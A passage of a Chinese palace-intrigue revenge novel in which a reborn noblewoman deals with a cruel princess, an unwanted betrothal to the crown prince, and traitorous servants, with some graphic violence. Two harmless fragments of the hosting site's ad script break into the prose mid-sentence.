《点火樱桃》 3. 003 袭容 四下空无一人,沈乔笙确定这是对她的命令。 那声音不容抗拒地蛊着她,引着她。令她迈开惶恐的步子,挪进佛堂里。 “嗒” 微不可闻的一声轻响。 浓烈的铁腥味扑面而来,裹携穿堂的冷风灌进鼻腔,直呛得她喘不过气。 室内光线昏浊,只有供桌烛台上摇曳的焰苗微亮,借着外头透进来的天色,沈乔笙的双眼才勉强适应环境。 她没发现说话之人,只见扑棱棱的一只猎隼站在烛台边,尖锐的鸟喙叼着小瓣生肉吞嚼,睁着机警的眼,歪头同她对视。 “嗒” 又一声。 她避开鹰鸟那令人不适的盯视,眸光飘忽地往佛像上飞。 这一瞧!她险些惊得魂飞魄散。 佛塑结成法印的双手中,赫然捧着半颗残缺的人头! 那、那是谁的头?贵禄在哪? 无需细想,惊悚骤然刺激她看清那鹰口中叼的,是一块耳朵。 她想尖叫,张口哑声,充盈肺中的血膻味激起强烈呕意,恐怖在心头炸开,满头皮的发麻。 猎鹰突然间展翅飞腾起来,扑朔声响吓得沈乔笙浑身震颤。 它向垂幔后的梢间飞去,精准利落地停在一个人身旁的缠枝花立架上。 沈乔笙这才注意到她。 那人端坐在青蟠太师椅上,如瀑的发丝以长簪挽起,乌秀亮泽,不多一分添饰。 烟茶色缂丝游鳞长衫随性而又尊贵,指尖悬一串松褐六道木手持,在掌中慢慢盘转。 嗒,嗒。 莲台座下吃人的猛禽,禅定印上沥血的头颅。 烛光倾颓,那人合眼捻动的持珠,是满室疮痍和惨绝中唯一的梵音。 沈乔笙背上粘着冷汗,定眼看着这人。 她愣神片刻,喃喃轻唤:“长公主殿下……” 似乎被她出声打扰,谢袭容眉心微皱,檀口轻启,道,“别吵。” 沈乔笙见她不耐,忙捂住嘴,往旁边退让几步。 腥味儿和碎尸的冲击让腹部酸水一阵上涌,她靠深呼吸强忍呕吐感,后退时脚下不留神,忽地被什么物件绊倒,仰面跌倒下去。 “嘭”地肩背撞上半敞的门扉,紧接是她短促的痛呼,震荡间掉落了腰封内的经文,纸张铺坠一地,又被过门的流风卷远,纷然四散,哗哗轻响。 谢袭容手中捻珠的动作一顿,霎时睁眼望向沈乔笙,冰眸饱含慑人弧光,带着十足的危险压迫: “你很着急找死么?” 沈乔笙疼得脸上一片苍白,背抵门板滑坐在地,冷汗沁湿了她的背脊,小心回话:“对不起殿下……臣、臣女不敢。” 这和预想中的不一样。 她原本打算用经录博取太后欢心,讨一个常能在太后周围的机会,再开始对太后宠爱的长孙女谢袭容徐徐图之。 总归要给公主留下个好印象才是。 可这相逢实在糟糕。 眼前绊倒她的东西不是别的,正是贵禄的无头尸,形状惨烈,弄死他的人明显就是谢袭容。 现在别说接近,只怕公主会连她一起杀。 她杂乱的思绪越来越多,千万般的想法来寻找对策,没察觉那人已起身近前。 忽而,谢袭容一脚踏住翩飞的宣纸,立在沈乔笙面前。 沈乔笙吓了一跳,往后瑟缩双腿,试图把自己叠成团以求安全隐蔽感。 “不敢?”她噙着沈乔笙熟悉的轻笑, “借本宫的刀杀人,你分明胆子很大。” 沈乔笙还来不及再后缩,就被谢袭容弯腰伸手一下攥住脖子拎了起来。 “ 人命而已,你照价付一条,本宫不追究。” 凶猛的遏制感缠紧喉头,她就这样被捉住站起身,姿态被迫悬提,双脚踩不到实处,只能够虚踮脚尖。 什么话?人就一条命。她好不容易重活一次,惜命得很。 沈乔笙开口求饶:“殿下息怒!臣女是定邺侯府第二女,和亲公主沈元筝的胞妹沈乔笙,无意冲撞,实在是事出有因啊。” 她情急却也没有丢失理智,先报上姓名。 要杀侯府嫡女,可不比杀一个太监来的轻松随意。 更何况姐姐当初替长公主出嫁塞外,谢袭容多少也该顾念情义才是。 可谢袭容哪里是寻常人?生杀予夺全凭心情,从不会领别人给的情分。 握在脖颈的手收紧几分。 谢袭容长指如鲸骨般皓白,肌理细腻,骨节清晰,手持在腕间搭晃,握力下压勒溢出她细嫩的皮肉。 眯眼邪笑:“还敢耍心思,该杀。” 沈乔笙瞬间被窒息和疼痛卡死,张开嘴巴挣扎呼吸。 她忽然意识到,谢袭容不是在玩笑,而是真动了杀心。 抬手攀上谢袭容的臂腕,涨红脸颊划过生理性泪滴,乞求的声音都带了颤儿:“不要,求求殿下不要,乔笙知错了。” 谢袭容听过太多人求饶,大多是痛哭哀求,也有拼命反抗或是破口咒骂,没有一个像她这般怯弱求生,却看不出十分惧怕他。 掌间纤软,总算谢袭容杀人无数,也觉得这手感意外的……还不错。 只是太过脆弱,还没用力就快断了。 恶劣漫上心头,略松开一些手劲,想听她怎样狡辩。 “说说你的事出有因。” 沈乔笙大口吞下空气,半晌才缓过神: “殿下明察,这太监从我进宫起就在暗中监视,见我独行,竟然借口太子相邀,想诓骗我到后宫去,危急关头臣女不得已才引他来此。” 谢袭容盯着她挂满泪痕的脸,没再加重力道,但也明显没信,口吻淡漠:“撒谎,沈乔笙。别说你不熟悉东宫服制。” 她飞速思考措辞辩驳:“就算他真是东宫太监,宫规森严,乔笙岂敢贸然孤身前往?” 脑筋动的挺快。 可谢袭容不是好糊弄的:“你选在佛堂甩掉他是因为知道本宫在这儿,谁给你的消息?” “是臣女自个儿猜的。” “说具体。” “世人皆知太后娘娘礼佛重佛,今天她老人家寿诞劳累,大抵由您代为诵度。方才路途中拜见过娘娘和殿下,正好两台轿辇往不同方向去,臣女无意看见殿下的去向,便猜测您要前往御湖佛堂。” 沈乔笙还算冷静,措辞小心谨慎,竭力表明都是巧合。 “倒是把自己摘得干净。” 谢袭容状似苦恼扶额,“究竟害本宫残杀了贤弟的身边人,真是痛心。” “……” 你明明在笑,甚至还想再杀一个。 谢袭容身量修瘦高挑,五官靡艳却不轻佻,反而从贵气中生出空寂之感,再次紧咬她时,话音低磁宛若玉珠投水,泠淙好听, “沈乔笙,说你胆大,你还真敢在本宫面前挑拨?沈垣前日偷摸进宫请婚旨,亲口吐露你与太子两情相悦,以为本宫不知?” “谁和谢冠两情相悦啊!逼我私会不就为了多一重保险?个狼心狗肺的东西!阴沟老鼠一样活着恶心人死了膈应鬼,殿下不是要一条命吗?干脆把他的贱命收去好了!” 沈乔笙一口气嚷了出来,秀眉拧结,眼眶发红,原本清瘦的下巴因咬紧下唇而嘟起些脸颊肉。 对着她突如其来的小爆发,谢袭容一顿,略微挑了下眉, “所以这太监暴露了你沈二小姐的身份后,你第一时间提及不见太子,果然是在撇清关系,好利用本宫。” 沈乔笙忽觉自己失言,气势瞬间偃息:“我……” 完蛋,又绕回来了。 她心虚地偷看长公主脸色,不敢反驳,也不敢承认。 谢袭容将她的反应尽收眼底,慢悠悠地重复她的话:“谢冠狼心狗肺,阴沟老鼠?” 畏惧后知后觉攀上沈乔笙心头,越发忐忑之际,谢袭容倏尔噗嗤一声笑起来,笑得肩膀耸动。 呆愣着,脖上一松,谢袭容放了手,她腿软站立不住,跌坐在地。 谢袭容俯视她,笑得眉眼舒展,恣肆无度,眸光泛出星点愉悦:“算你说了句好听的,今日不杀你。” 杀伐从谢袭容的脸上收势,散去戾气,尤为清绝艳逸起来,这股子风流韵貌,像极了神佛座下一缕难驯的业火,也渡了禅心,也难消邪性。 就连同为女子的沈乔笙,都觉惊为天人。 抬头仰望许久,看着谢袭容抽出条巾帕,细细拭净碰过她脖子的手,润红嘴唇说出冰冷无情的话, “趁我反悔前滚出去,沈乔笙。” 谢袭容的性情真是善变。 沈乔笙不了解长公主的想法,但知道这是已经放过她了,于是乖巧应声,囫囵爬起后飞快地跑出佛堂。 行过十多步,还是忍不住回望。 谢袭容立在深暗的门洞内,眸色已然模糊不清。 茶色绞银丝衣衫衬她,似一轮上弦月幽远,晦朔昏光里,那出挑的身形亦如一把镇世的长刀隐在鞘中,傲然玉立。 ** 疾步往紫宸殿去,沈乔笙一面担忧迟了筵席,一面心里对刚才的事直打鼓。 好险,她差点因信任,就放下对谢袭容的警惕。 幸好她们两个都很讨厌太子,只要这个天然的共同点在,那么即便不做朋友,她们也不会是敌人。 怎么就忘了,谢袭容是个极不好相与的?她忽然想起一件往事。 其实要说渊源,似乎不止于死前那两面。 早先她曾在成国公府赴曲池春宴,热闹鼎沸之际,朝廷无预兆发兵数百,速速将国公府围成铁桶。 那次都察院和中书府都来了,主人宾客俱是惊慌奔逃。 沈乔笙正抱着条小狗玩耍,蓦地望见一群官服之人身后走出个轻装女子,正是谢袭容。 墨发高束,飒沓英姿,颀长身量较之男子更优越。 直到胡乱飞跑的,莫论是主是仆,被官家人乱刀砍死几个,场面豁然阒静。 “成国公府有谋反之嫌,我等奉命查抄,曲池为界,府人的都来内庭跪好,宾客蹲去外庭。私逃者,立斩!” 沈乔笙神思还算活络,最先反应过来,扯住繁芜低声耳语:“你去外院,同其他高官家眷的丫头们呆在一处,那里查问想必不严,大有机会早放了你们,不必等我,先回家去。” 那时她对繁芜推心置腹,第一反应就是为繁芜安排好后路。 “可是姑娘……”繁芜有些犹豫。 她只有坚定一字:“去。” 待繁芜跑走,她才抱着小狗往外庭去。 因她是较早行动的人,所以站在最前头角落。 人们六神无主地聚在一起,窃窃私语互相询问,只有沈乔笙安静蹲着,把雪白的幼犬藏进薄披风里一些,轻声安抚。 余光里有一群官靴疾走而过,末了,赫然一双青虬色缎靴停顿在她面前。 她抬头,谢袭容逆着刺目的阳光,面容瞧不真切,没来由地讥嘲她:“是你的狗么,就护着?” 沈乔笙有些懵住。 那时谢袭容也是不由分说,伸手探进她披风,拎住狗儿后颈肉揪出她的怀抱。 下意识双手托住幼犬,沈乔笙忍不住求情:“殿下,求您高抬贵手,它是无辜的。” 见着这一幕的旁人都抽 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 气噤声,暗中为她捏把冷汗。 以长公主睚眦必报的恶劣品性,敢出言反驳忤逆,沈二姑娘怕是以后嫁进东宫都不好过喽。 谢袭容没说话,也不曾收手,示意她乖乖放开。 可沈乔笙于心不忍,一直没松手,二人僵持不下。 时间越长,周围气氛就越是紧张。 长公主的眼神好可怕!盘查还没开始,这就要见血了吗?每个人都揪心,不敢明目张胆细看,又怕公主一个不爽,给沈二姑娘来上一刀。 沈乔笙也明白胳膊拧不过大腿,终于还是选择撒手。 没想到同一时间,谢袭容也决定放弃,和她一起松开手。 狗这种动物有灵性,早感受到危险,现她二人松手有空隙脱身,立刻应激扭身反咬沈乔笙一口,落地飞快跑出去老远。 “啊…”沈乔笙不可思议的捂住被咬处。 还好幼犬牙未长齐,没有咬破。 她扭头去寻,那狗早没了影儿。 “往东跑了。” 唯有谢袭容淡凉的声线在头顶,“莫论是人是狗,跟成国公府沾边的没有一个无辜,听懂了没?” 成国公 ——东? 壅京的东侧是皇宫,皇宫的东侧,是东宫。 沈乔笙从记忆里猛然醒神,在紫宸殿外碰上了取药方归来的繁芜。 一阵微妙的头绪浮现脑海。 前世谢袭容掌权天下时,命大理寺重整过旧案,此案呈明,成国公府就是太子党无疑。 那她护着的狗,繁芜呢? 繁芜两手空空地迎上来,满脸歉意地说,那位表叔不在太医署,不曾取到方子。 胡说八道,繁芜根本没去太医署。 如果她去了,就会发现药方是沈乔笙胡诌的。 那么繁芜为什么主动促成沈乔笙和太子会面?到底谁是繁芜的主子呢? 答案简直不言而喻。 谢袭容竟然早在上一世,就提点过她,繁芜是太子的人了吗? 沈乔笙微怔,那时愚钝没能察觉。 可是谢袭容为何? 她百思不得其解,但眼下无暇细想,便不露痕迹道:“入席要紧,进去罢。” ** 太后驾到,天家仪象肃穆。 上席位的皇亲贵胄,中席将相百官,下首众家诰命夫人、妙龄女眷,浩荡跪拜高呼万岁。 沈乔笙放眼搜寻,沈垣不在宴上,果然和上一世别无二致。 父亲接下赐婚圣旨后,即刻受命带领兄长前往晋中剿匪。 接下来的事,剩她一人面对。 以圣上为首,太后子孙众多,逐一献上寿礼和祝词。 待太后发话“众卿同乐”,菜肴与歌舞便有序呈上。 满桌珍馐,沈乔笙吃着味同嚼蜡,没咽几口就搁下筷子。 放在前世,她若知道要嫁给太子,定是满心欢喜的,可如今只剩下煎熬抗拒。 纵使再不愿面对,命运也还是走到这步。 大内总管兴德公公拂尘挥空,呈出一卷明黄圣旨,示意在场安静下来。 到底来了。 沈乔笙舀汤的勺子“当啷”跌回碗里,惊动周围几人的目光。 【鸥鹭合萃,丹心目悦,定邺侯府嫡次女沈氏乔笙族茂冠冕,端贤表淑,容有则。】 【抑惟国章是用命尔为皇太子妃,钦此!】 关姨娘在桌席间听闻旨意愣了半晌。 什么?!侯爷不是很生气吗?不是说不准沈乔笙跟皇室攀关系吗? 最近沈垣早出晚归,一句不过问沈乔笙,她还以为他对沈乔笙失望透顶。 居然背着她请来了婚旨! 好的很,都欺她是侧室,父女俩串通一气,不把她放眼里。真是白给沈垣养育了一双儿女! 关氏顿时怒从心起,怨毒的眼神恨不能扎穿沈乔笙。 反而是她女儿沈华彤仍笑容得体,暗中扯了扯关氏的衣摆。 只是细看下这笑容裂痕斑斑。 沈乔笙笑不出。 她在众人瞩目中站起,离席走向长阶,三拜九叩后,抬脚,一步一缓顿地拾阶而上。 顶端有个男人,亦从皇子席列中站出,在上头等待沈乔笙攀顶。 那无疑是当朝太子,沈家未来的灭门仇人,谢冠。 她规矩地低垂眼眸,心跳如擂鼓,前世侯府血流成河的景象在脑海翻腾。 站到太子身边,她不抬头看,谢冠的脸孔烙在她的仇恨心,也不敢看,怕满眼厌恶漏了破绽。 太后一身雍容,扫量沈乔笙容貌姿态,满意点头:“与冠儿还算相配,孩子,你既予了哀家的皇孙,必不会叫你受苦。” 对,不受苦,受死。 沈乔笙暗诽。 她微抬首欲谢恩,却一眼瞧见太后斜侧副座下,那截金娑纹袍摆。 视线抬高,望见谢袭容已换上鸦雏赤金正官装,佩戴臂钏和长命压领,增添几分禁制感。 姿势悠懒倚靠,指节微屈支起下颌,眼神轻寡漠然,虚缈地落在太子和沈乔笙之间,兴趣缺缺。 她不得不想到半个时辰前,谢袭容差点要了她的命,经文也弄脏了,讨好太后曲线救国的计划只好暂缓。 “臣女三生有幸。”自觉久未回话,她施礼答道。 谢袭容对他们的婚约没有兴致,偏偏最是洞若观火,轻易察觉到沈家女悄然无声的叹息。 她双眸潮湿,分明是有话想说,却掩藏起来,转身同太子一道,双手接过兴德公公捧来的圣旨叩头谢恩。 太子暗中叫住她,耳语一句后,沈乔笙骤然白了脸色。 4. 004 嶙峋梦里 太子谢冠笑得温和,与他精亮审视的目光极不相符:“乔笙,你素来懂事让孤称心,娶你是了却孤一桩心事。” 第二次听到这句话,心底寒凉一片,甚于隆冬。 称心? 谢冠这句挑拣物件一般的称心,沈乔笙曾视若珍宝,这次终于品出诸多言下之意。 怎么让侯门帮他夺权,怎样过河拆桥兔死狗烹,才是他谢冠的心事。 她脑海每时浮现的侯府惨淡如斯,二百多口人好的是逃了,多的是死伤病残,全散尽了。 谢冠该死。 可谢冠身上是滔天的皇权,她势单力薄,说不害怕是假的,怕自己行差踏错,怕撼动不了他分毫。 谢冠忽然不悦地变了脸色:“哭什么?乔笙,你不高兴么?” 她从不会这样失态,这让谢冠感到她不复以往端庄。 “高兴的,”沈乔笙抬指抹去那滴哀愁泪,适时换上感动娇羞的表情,“乔笙哭是因为感念天恩,幸甚至哉。” 感谢苍天给她报仇的机会。 谢冠再次挑剔地扫量一眼沈乔笙,勉强满意道,“那就行,你下去吧。” 沈乔笙面向太子,谢袭容与之遥遥侧对,恰好能看清她眼角闪烁的晶莹。 破开低眉顺眼的伪装,眼底浮光掠影,纷呈伤痛,决绝也忍耐。 哭了? 谢袭容眼尾勾挑,得了新奇的趣儿,端起茶盏啜饮,闲适得像在看折子戏。 看她委屈巴巴的样子,好似真有什么宿世的愁怨。 小女角儿很快醒觉自己脸色不对,转而柔和地回了太子的话,转身匆忙走下长阶。 谢袭容自然也没错过,她握着圣旨的双手用力攥紧,指尖都泛白。 沈乔笙下去,复杂心情难以收拾。上好的绸缎卷轴握着烫手,仿佛里头写的不是大喜,而是她的悼亡词。 心神不宁到宴会结束都没平复。 宴后随同她归家的,是一行宫人护送的圣旨,和司礼监早备好的数十抬奢昂聘礼。皇恩浩荡,关氏就算瞪穿了眼,也万不敢造次。 沈华彤尚且忌惮现在的沈乔笙,但惯会从别人身上找气出。 繁芜就在此时触了她的霉头。 “不长眼的东西,在侯府有口饭吃就忘了自己什么斤两,再挡路当心你的狗命!” 前脚和颜悦色送走朝廷的人,后脚关起门来,沈华彤就逮住从她眼前经过的繁芜指桑骂槐。 沈乔笙收拾心情冷静观察。 看来繁芜的确不是沈华彤的人。 放在先头,沈乔笙还会为了繁芜同沈华彤据理力争,这次嘛…… “繁芜快和三姑娘赔不是,今儿喜事不兴动怒。”她莞尔笑道, “还没谢你,前几次面见太子,每回都是你在旁机灵迎候着,眼下婚也定了,这些恩赏回头你挑几样拿去吧。” 沈华彤的脸色霎时变得难看,但如沈乔笙料定,她没有当场发作,只意味不明地剜了眼繁芜,一语不发地离去。 这个妹妹啊,有城府倒也不多,若是记恨谁,就会想办法暗中报复,手段也并不高明,无非半路将繁芜抓去刁难毒打一顿。 所以晚些时候,沈乔笙很善解人意地,寻个由头将繁芜遣出去办事。 繁芜果然迟迟不能归。 …… 秦雉苑今晚难得灯火通明,前门厅烛光昼亮,沈乔笙坐在枣红圈椅上,纤白脖颈裹着素简的保暖围领,面庞明若皎月。 浅浅扫过院里松散扎堆的几人,暂时没置言语。 她要先将自身内部打理干净,再找机会邀来外援,否则若有其他太子眼线或是搅弄之人在身边,就是埋着隐患。 偌大的秦雉苑,洒扫小童、洗衣姑、采办……零总加起来不过十人,葱一样往空地上笔直插好,也是稀疏萧条。 以往沈乔笙性子极随和,下人都疏惫惯了,现下被传唤聚在一起难免窃窃耳语。 管事婆拢手打着哈欠,竟分毫不管。 沈乔笙瞥她一眼,继续翻看手中薄薄一沓身契纸页,首先归置出三张仍在案面上: “阿志、阿香、小武,明日离府。” 语毕半晌,众人互相观望交换眼神。 人群里跪下个小姑娘,花袄崭新看着不像丫头,倒像位小姐,拿捏的是泫然欲泣:“不知我们兄妹三人做错什么惹姑娘不快,阿香愿受罚,只求别怪罪两位哥哥。” 前世父兄尸骨未寒,眼看大厦将倾,沈乔笙搬出私房头脸,给下人们分配放归。 谁知他三人挑拣霸占,引起众怒大打出手,把她本就贫瘠的院子闹得天翻地覆。 沈乔笙不想解释,自是清楚他们平时的样子:“你们三个仗着是同乡,互相掩护偷懒耍滑,以为我不知吗。” 阿香求助似的往人堆里瞧了眼,阿志和小武便同时挺身而出, 阿志理直气壮:“我们是她哥,照顾她有何错处?” 小武也不服:“阿香自幼身体不好,姑娘不是最以宽和为贵吗?为何向她发难?” 你一言我一语吵得沈乔笙头痛。 沈乔笙抬手制止他们的后话,她仍端坐,声音没有刻意抬高,在院落中十分清晰: “我不是针对她,别误会。再讨价还价,你们三人一个卖到漠北,一个卖到南蛮,一个打回乡下做徭役。” 他那厢敬酒不吃,端看侯府嫡小姐怎样拿人生死。 话音落,院内才是真正静谧下来,每个人都眼观鼻鼻观心。 一直装死的管事婆这才弯腰凑近沈乔笙,凭两分资历讪笑着劝诫她:“几个孩子不懂事,有老婆子我替您教训一番便是,姑娘做得太绝也不好服众。” 沈乔笙缓缓抬眼:“你既然收了钱财要包庇他们,就选一个陪着去吧。没有你,就能服众。” 管事婆登时如哑炮,面色憋得通红又转白。 众人都惊异地望向二姑娘。 同乡三人组经常逃值,仗势欺人; 管事婆搜刮油水,有钱孝敬她的就能分得轻松差事,没钱的就要遭白眼被欺负。 他们双方正是互利互惠的关系。 沉默寡言又性子温吞儒雅的二姑娘,居然都知道? 不等众人反应,沈乔笙“唰唰”接连抽出几张纸拍在桌面,或是罚回耕田,或是发钱送归,赏罚分明有理有据。 最后轮到管账。 沈乔笙见他皮肤黝黑面容疲累,皱眉语气严肃:“你也别在秦雉苑了。” 管账老田身形一僵。 他妻子早亡,与女儿相依,半年前女儿身患重病,他只有日夜兼工才能为女儿抓药。 “我瞧过你的账,工整准确,已举你入府内总账房做核算先生。” 沈乔笙心知这是个被管事婆打压的,松了眉头道, “你且安心,但不可懈怠,秦雉苑的账还须由你过手,如有错漏可对不起你这两份工钱。” 老田本以为姑娘要他走,没想到竟是提拔,甚至还保留了他在秦雉苑的收入。 侯府账房月例,可比他所有小工费用加起来还多。这回他既能多赚银子,又能抽出时间陪伴女儿床前。 老田为人老实忠厚,分明了姑娘的良苦用心,却嘴笨说不出大恩大德,急忙连连磕头,额角撞在冻硬的地面发出声响,一个接着一个:“是,是!奴才领命!” 沈乔笙受下他的大礼,心里期盼卧病在床的他女儿,和自己的母亲,都能够早日恢复康健。 至此,留下两人。 “简心年纪小留下侍奉,小丁依然负责护院和洒扫,你们俩各选一间朝阳的屋子安置,另添两套冬衣……” 沈乔笙话还没说完,门外就传来一声嘶哑凄厉的呼号——“姑娘!姑娘救救奴婢啊!” 在满院错愕惊恐的嘘声里,繁芜浑身湿透,披头散发光着两脚跌进门内。 她全然顾不得没有鞋袜的体统了,手脚并用地爬向沈乔笙,语言支离破碎:“救救奴啊姑娘…井底好黑好冷……奴婢不想死!” 沈乔笙心细,一眼看到她脚上由绳子勒出的血淤。 她能猜到,繁芜被剥去鞋袜,捆起双脚到吊着投入井水时,是何等的凄惨无助。 不过想到日后繁芜会亲手掰开她的嘴巴,配合太子与沈华彤灌下毒酒,她又觉得这份报复太轻了呢。 背叛二字是把利剑,当初能刺死沈乔笙,现在回旋刃也能扎死繁芜。 沈乔笙浅笑:“原是失足落井,简心扶她回房休息,其余人等散了吧。” “是。” ** 本就不多人的秦雉苑彻底静下来,沈乔笙浅眠入睡。 睡前她向母亲请过安,倾诉白天对长公主的可望不可及。 杨氏出身泗盘节度使杨家,是同辈中的长女。 她告诉女儿:“我也是做长姐的,弟弟妹妹淘人或是犯错便会斥责他们,有时这群孩子围着我撒娇扮可怜,我就真的心软舍不得重罚。寻常女子大抵都是护短心性,长公主又与筝儿有渊源,你乖巧些,想必她也会疼爱你这个妹妹。” 夜里入梦思忆,竟然将成国公府之乱后半段续上。 那天以沈乔笙为首蹲跪在卵石小径上,一溪之隔,亲眼见成国公全家老小近三十口人缉压在春庭内,曲池的流水渐由清澈淌成血红。 中书令屈大人站在曲池边笑意莫测,弁冠垂绦,抬手清点人数:“二六,二七……嘶,不对啊,公爷家远道游学暂居府上的子侄不在这?” 他回笼臂袖抽出名册,在沈乔笙目光中,撤走的广袖如掀帘般,显露出远在上首静坐的谢袭容。 屈澈仔细查阅,复又尊敬地向上首请示:“果真是缺了此人,依殿下看,何解?” 唯一坐着的谢袭容神色不明,搭叠长腿,一手扶额,一手把玩沉水念珠,脚边跪着个随行太监,低头战战兢兢削桃子。 闲散样态,好似肃杀氛围里只有她长公主是来赏春品宴的。 谢袭容久不发话,所有人都屏住呼吸等待。 忽而,她笑了一声,兰口传芳: “烧。” 凡有密室、地道、暗房或疑似之处,浇油点火,必要烧个干净。 朝廷早前就在外重兵布控,此人必然还在府中,若没被大火逼出,那就会被活活烧死。 此招狠毒非常,在场人听得心惊,也多有贵人家子,担忧自己的安危又无法向家中送信,一时间人心惶惶。 被压跪着的成国公怒不可遏,直指谢袭容暴起呵骂:“简直放肆!国公府即便没落,也由不得你一个牝鸡司晨的下作女 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 子践踏!你为谋权参政残害我满门忠良,你这贱女——” 话未说完,谢袭容取过太监手里的刀子,起身箭步攥扯住成国公歪斜的发髻,白刃送入口中利落扭搅两滚。 合着成国公含混凄厉的惨嚎,所有人猛然惊颤。 谢袭容欣赏着他求生的挣扎:“好一个满门忠良,记得写进供词。” 拔刀,男人形容恐怖的嘴里呕出碎烂的血肉,倒在地上翻滚嘶叫不止,吓呆了的家眷竟无人敢上前扶。 谢袭容两手未沾一滴血,举止定若。将刀递还给太监,太监不敢迟疑,连忙接回就着血迹继续削桃。 未久,士兵拎着躲藏的国公府表公子扔在庭内。 肥硕的表公子见成国公失血晕厥,不禁吓得屁滚尿流,漏气皮球似的趴伏在地,连连告饶。 “指望你个废物逃出生天,做东山再起的大梦,国公府的确是走到头了。”谢袭容啧声嫌弃,随手把带血的桃子扔在他面前地上, “吃了,仔细品一品你叔叔的风骨。” 表公子看着血肉模糊的桃,当时肝胆俱裂,因着长公主的命令不敢不捡,伸出手又抖得跟筛糠似的,脸上横肉跟着哆嗦,面色比死人还白上几分。 在场的都是金尊玉贵的哥儿小姐,多是年轻没见过这等残暴行径,骇得止不住低声啜泣。 沈乔笙皱眉忍着不适,头隐隐作痛。 见小胖子磨磨蹭蹭,屈大人十分贴心地上前关怀,笑眯眯地扣住他的脑袋,向地上坚硬的脆桃暴砸而去。 沈乔笙终于忍不住,豁地站起来。 许是起身太快,她感到一阵目眩,昏沉的余光里谢袭容也被她惊动侧目,头晕猝然涌上,她两眼一翻,又直直拍倒在地。 合眼失去意识前,她似乎看见长公主惊讶又无语地扯扯嘴角, “好没用。” 说谁好没用? 我吗?! 沈乔猛地睁眼惊醒。 天已晴亮,她抬手触到额角的虚汗。 母亲要她乖些,说寻常女子都会心软,可问题……长公主能算是寻常女子吗? 外头传来敲门声,小丫头简心试探询问:“二姑娘,姚家的姑娘来了,可要去客厅迎接?” 京城达官只有一个姚家,乃是宗正寺少卿姚家,姚家只有一千金小姐,名唤姚雪茵,是沈乔笙唯一的至交好友。 “茵儿来了?快替我洗漱,不不,快去将人请到我房里。”沈乔笙一手挽起发髻,掀被跳下床,急忙拉开房门寻水洗脸。 以往沈乔笙待人接物可谓慎独,恪守风雅从容,这般慌里慌张,她是要在心里斥自己不够端庄的。 去他的风雅吧,与离散的挚友再见,经年隔世,谁还能从容? 前世姚家遭太子党陷害,落得举家流放,沈乔笙就止不住痛心。 姚雪茵离京那天,她们隔着喧闹的街市抵近,囚车滚动拖行,辙印留下斑驳的血色,姚雪茵破衣烂衫,哀默着锁在肮脏的笼中。 对上茵儿没有光亮的双眼,沈乔笙几度失声恸哭。 “笙姐姐将与太子成婚,此番不知是喜是忧……前路未卜,姐姐千万保重。” 到最后茵儿都没舍得说出真相让她痛苦,更没有因太子迁怒她。 后来她想尽办法,勉强将茵儿从舞乐坊中救出,此后天南海北不复相见。 若不是婚夜太子狂傲招摇的坦白,她至死也不会发现,好友是为他谢冠所害! 拭净脸上水迹,刚抹匀润肤膏,简心就领着个头梳百合髻的娇小姑娘进来了。 姚雪茵如回家一般跳进门中,清脆唤她“乔笙姐姐”。 沈乔笙赶忙擦净手迎上去,拥住小姑娘,声色掩饰哽咽,欣喜道: “好久不见,雪茵。” 姚雪茵微愣,笑着回抱:“好姐姐莫怪我来迟,昨日宴上便为你大喜高兴,又怕你事多劳累,这时才来看你。” 谁料想这双妙龄姝色,曾一个落为蛮地贱奴,一个成了幽宫亡魂。 沈乔笙望向她诚挚的双眼,想起上辈子种种离苦,又燃起胸中诸多悲情难抑。 拉雪茵坐在床沿,二人久违地长谈,说过许多体己话,姚雪茵讲起小时候的事来。 原本她们自幼就是生死之交。 在一场热闹非凡的花船游诗会上,有人贩子大肆偷拐幼童,姚雪茵与沈乔笙不幸就在其中。 彼时沈乔笙不到七岁,姚雪茵更为年幼。是沈乔笙设法帮助姚雪茵先逃走,自己则在危急关头留下来应对。 事情已多去多年,只要她们现在、以后都安然无恙就好。 想到这里,姚雪茵打量素净的院中,挑起疑惑:“笙姐姐房中怎么只两人伺候着?差使不开怠慢了你可不好,你身边的繁芜哪去了?” 她这席话提醒了沈乔笙,自己有事要请她帮忙。 沈乔笙低声道:“我正为此事想求你,繁芜不是个好的,过两日你替我暗中寻辆车马来用。” 姚雪茵吃惊:“繁芜她竟然……你我何须言求,只不过笙姐姐要车马做什么?” 沈乔笙:“把繁芜带走。” 姚雪茵凑近她:“带去哪里?” 沈乔笙:“织丹夜阙。” 姚雪茵震惊重复:“啊?织丹夜阙?!” 5.005 谢恩 仙宫玉殿,高不过织丹夜阙。 说风雅,奇宝竞拍、美人名角,管弦丝竹歌舞,诗词曲赋酒茶。 说烂疴,杀人越货、□□赌毒,那里的竞场腥风肆虐,斗兽也斗人,柜台之上秘辛军情仙丹烈药,天下奇诡无不售卖。 甚至有传言道,有人曾在那买到过开国贞祖皇帝的口琀玉蝉。 在壅京的护城江畔,织丹夜阙长盛不衰,神秘与野蛮热烈共生。 那样群魔乱舞的场所,她们这些正经官家孩子都被三令五申不许踏足。 “不必真的进去,只要在那条街上招摇过市,自然会有暗处的人牙子来相看。” 沈乔笙的话稳住了姚雪茵的心神,但姚雪茵还是有些恍惚:“笙姐姐要发落繁芜,家法惩戒便是,何须费周章?” 沈乔笙颇带邪气地一笑:“就是要张扬,要让所有人看着,得罪我是什么下场。” 最重要是,足够张扬才能被太子的诸多“眼睛”看到,才能传到太子耳朵里,他才会开始猜她的用意。 只要谢冠不确定繁芜的眼线身份是否暴露,就不会轻易再安插新眼线。 姚雪茵不禁被神色飞扬的沈乔笙晃住眼,看呆了。 笙姐姐从前最端庄谦和,总是四平八稳的,一段日子没见,她好像变了。 似乎眉目变得生动,眸畔有诗情,也有星火。 雪茵不懂,乔笙姐姐这么做自然有她的道理。雪茵呆怔怔地答:“好,我、我去准备。” 姚雪茵回去后就着手安排起来,一两日过去,沈乔笙还没等到雪茵的消息,先等来了中宫的迎送太监。 掐指算,赐婚第三日,该是进宫向皇后谢恩的时候了。 按规矩谢恩应当主母陪同觐见。 主母卧病,关氏更不会出面,她只能孤身前往。 沈乔笙坐在镜前吩咐:“简心,你去西厢放聘礼的屋子,取一套富丽的穿戴,再为我化个素淡妆面。” 她是要做个人形首饰架子,彰显皇恩。 